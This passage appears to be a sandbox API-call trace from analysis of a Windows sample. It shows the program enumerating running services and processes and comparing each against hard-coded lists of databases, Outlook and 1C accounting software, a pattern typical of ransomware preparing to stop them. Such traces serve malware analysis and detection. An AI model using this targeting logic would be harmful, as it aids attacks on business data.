(HeapHandle=0x880000, Flags=0x0, Size=0x3c) returned 0x8b56c8 [0119.414] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894cf0, Size=0x10) returned 0x894d20 [0119.414] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x14) returned 0x8b5710 [0119.414] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x18) returned 0x8b5730 [0119.414] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894d20, Size=0x20) returned 0x8b5750 [0119.414] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x24) returned 0x8b5778 [0119.414] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0119.414] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x894a40 | out: hHeap=0x880000) returned 1 [0119.414] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0119.414] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5510 | out: hHeap=0x880000) returned 1 [0119.420] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x8b5cf8 [0120.486] EnumServicesStatusExW (in: hSCManager=0x8b5cf8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 0 [0120.487] GetLastError () returned 0xea [0120.487] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x9a8) returned 0x8b8688 [0120.487] EnumServicesStatusExW (in: hSCManager=0x8b5cf8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x8b8688, cbBufSize=0x9a8, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x8b8688, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 1 [0120.487] CloseServiceHandle (hSCObject=0x8b5cf8) returned 1 [0120.884] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0120.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0120.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0120.885] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0120.885] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0120.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0120.885] lstrlenW (lpString="AudioSrv") returned 8 [0120.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0120.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0120.885] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0120.885] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0120.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0120.885] lstrlenW (lpString="CscService") returned 10 [0120.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0120.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0120.885] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0120.885] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0120.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0120.885] lstrlenW (lpString="DcomLaunch") returned 10 [0120.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0120.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0120.885] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0120.885] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0120.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0120.885] lstrlenW (lpString="Dhcp") returned 4 [0120.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0120.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0120.885] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0120.885] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0120.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0120.885] lstrlenW (lpString="Dnscache") returned 8 [0120.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0120.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0120.886] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0120.886] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0120.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0120.886] lstrlenW (lpString="eventlog") returned 8 [0120.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0120.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0120.886] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0120.886] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0120.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0120.886] lstrlenW (lpString="EventSystem") returned 11 [0120.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0120.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0120.886] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0120.886] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0120.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0120.886] lstrlenW (lpString="gpsvc") returned 5 [0120.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0120.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0120.886] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0120.886] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0120.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0120.886] lstrlenW (lpString="lmhosts") returned 7 [0120.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0120.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0120.886] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0120.886] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0120.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0120.886] lstrlenW (lpString="MMCSS") returned 5 [0120.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0120.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0120.887] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0120.887] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0120.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0120.887] lstrlenW (lpString="nsi") returned 3 [0120.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0120.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0120.887] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0120.887] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0120.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0120.887] lstrlenW (lpString="PlugPlay") returned 8 [0120.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0120.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0120.887] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0120.887] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0120.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0120.887] lstrlenW (lpString="Power") returned 5 [0120.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0120.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0120.887] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0120.887] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0120.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0120.887] lstrlenW (lpString="ProfSvc") returned 7 [0120.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0120.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0120.887] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0120.887] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0120.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0120.888] lstrlenW (lpString="RpcEptMapper") returned 12 [0120.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0120.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0120.888] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0120.888] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0120.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0120.888] lstrlenW (lpString="RpcSs") returned 5 [0120.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0120.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0120.888] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0120.888] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0120.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0120.888] lstrlenW (lpString="SamSs") returned 5 [0120.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0120.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0120.888] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0120.888] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0120.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0120.888] lstrlenW (lpString="Schedule") returned 8 [0120.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0120.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0120.888] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0120.888] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0120.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0120.888] lstrlenW (lpString="SENS") returned 4 [0120.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0120.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0120.888] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0120.888] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0120.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0120.889] lstrlenW (lpString="ShellHWDetection") returned 16 [0120.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0120.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0120.889] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0120.889] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0120.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0120.889] lstrlenW (lpString="Spooler") returned 7 [0120.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0120.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0120.889] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0120.889] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0120.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0120.889] lstrlenW (lpString="Themes") returned 6 [0120.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0120.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0120.889] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0120.889] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0120.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0120.889] lstrlenW (lpString="UxSms") returned 5 [0120.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0120.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0120.889] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0120.889] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0120.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0120.889] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b8688 | out: hHeap=0x880000) returned 1 [0120.897] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe0 [0120.900] Process32FirstW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0120.900] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0120.900] lstrlenW (lpString="System") returned 6 [0120.900] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0120.900] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0120.900] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0120.900] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0120.900] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0120.900] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0120.900] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0120.900] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0120.901] lstrlenW (lpString="smss.exe") returned 8 [0120.901] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0120.901] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0120.901] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0120.901] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0120.901] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0120.901] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0120.901] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0120.901] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0120.901] lstrlenW (lpString="csrss.exe") returned 9 [0120.901] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0120.901] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0120.901] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0120.901] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0120.901] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0120.901] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0120.901] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0120.901] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0120.902] lstrlenW (lpString="wininit.exe") returned 11 [0120.902] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0120.902] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0120.902] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0120.902] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0120.902] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0120.902] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0120.902] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0120.902] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0120.902] lstrlenW (lpString="csrss.exe") returned 9 [0120.902] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0120.902] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0120.902] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0120.902] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0120.902] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0120.902] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0120.902] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0120.902] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0120.903] lstrlenW (lpString="winlogon.exe") returned 12 [0120.903] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0120.903] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0120.903] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0120.903] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0120.903] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0120.903] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0120.903] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0120.903] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0120.903] lstrlenW (lpString="services.exe") returned 12 [0120.903] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0120.903] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0120.903] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0120.903] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0120.903] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0120.903] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0120.903] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0120.903] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0120.904] lstrlenW (lpString="lsass.exe") returned 9 [0120.904] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0120.904] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0120.904] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0120.904] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0120.904] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0120.904] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0120.904] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0120.904] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0120.904] lstrlenW (lpString="lsm.exe") returned 7 [0120.904] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0120.904] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0120.904] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0120.904] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0120.904] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0120.904] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0120.904] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0120.905] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.905] lstrlenW (lpString="svchost.exe") returned 11 [0120.905] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0120.905] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0120.905] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0120.905] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0120.905] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0120.905] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0120.905] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0120.905] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.905] lstrlenW (lpString="svchost.exe") returned 11 [0120.905] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0120.905] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0120.905] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0120.905] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0120.905] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0120.905] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0120.906] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0120.906] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.906] lstrlenW (lpString="svchost.exe") returned 11 [0120.906] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0120.906] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0120.906] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0120.906] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0120.906] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0120.906] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0120.906] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0120.906] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0120.906] lstrlenW (lpString="LogonUI.exe") returned 11 [0120.906] lstrcmpiW (lpString1="1c8.exe", lpString2="LogonUI.exe") returned -1 [0120.906] lstrcmpiW (lpString1="1cv77.exe", lpString2="LogonUI.exe") returned -1 [0120.906] lstrcmpiW (lpString1="outlook.exe", lpString2="LogonUI.exe") returned 1 [0120.906] lstrcmpiW (lpString1="postgres.exe", lpString2="LogonUI.exe") returned 1 [0120.906] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="LogonUI.exe") returned 1 [0120.906] lstrcmpiW (lpString1="mysqld.exe", lpString2="LogonUI.exe") returned 1 [0120.907] lstrcmpiW (lpString1="sqlservr.exe", lpString2="LogonUI.exe") returned 1 [0120.907] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.907] lstrlenW (lpString="svchost.exe") returned 11 [0120.907] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0120.907] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0120.907] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0120.907] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 